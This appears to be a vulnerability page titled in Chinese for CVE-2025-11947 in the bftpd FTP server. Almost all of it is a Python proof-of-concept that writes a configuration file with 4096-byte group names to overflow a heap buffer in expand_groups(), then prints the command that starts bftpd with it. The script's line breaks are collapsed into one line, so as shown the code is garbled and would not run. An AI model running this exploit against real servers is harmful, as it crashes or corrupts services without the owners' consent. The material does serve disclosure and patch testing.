CVE-2025-11947：bftpd配置处理器堆缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-11947 - bftpd expand_groups heap-based buffer overflow PoC # This PoC demonstrates triggering the vulnerability by crafting a malicious # configuration file that causes heap buffer overflow in expand_groups() # in options.c of bftpd <= 6.2 import struct import sys def generate_malicious_config(output_path): """ Generate a malicious bftpd configuration file that triggers heap-based buffer overflow in the expand_groups function. The expand_groups function parses group-related directives without proper bounds checking. """ # Normal configuration header config = """# bftpd configuration file # Malicious config to trigger CVE-2025-11947 # Set global options global { user nobody group nogroup daemon off listen on port 21 } """ # Craft an overly long group name to overflow the heap buffer # in expand_groups(). The function allocates a fixed-size buffer # on the heap and copies the group name without length validation. overflow_payload = "A" * 4096 # Exceed typical heap buffer size # Inject the malicious group directive config += f"\nuser_group {overflow_payload}\n" # Add additional overflow triggers for i in range(10): config += f"group_{i} {overflow_payload}\n" with open(output_path, 'w') as f: f.write(config) print(f"[+] Malicious configuration written to {output_path}") print(f"[+] Payload size: {len(overflow_payload)} bytes per entry") def trigger_vuln(config_path): """ Trigger the vulnerability by starting bftpd with the malicious config. In a real attack scenario, this would be placed where bftpd reads it. """ print(f"[*] To trigger: place config at {config_path}") print(f"[*] Then start bftpd or restart the service") print(f"[*] Command: bftpd -d -c {config_path}") if __name__ == "__main__": config_path = sys.argv[1] if len(sys.argv) > 1 else "/tmp/bftpd.conf" generate_malicious_config(config_path) trigger_vuln(config_path)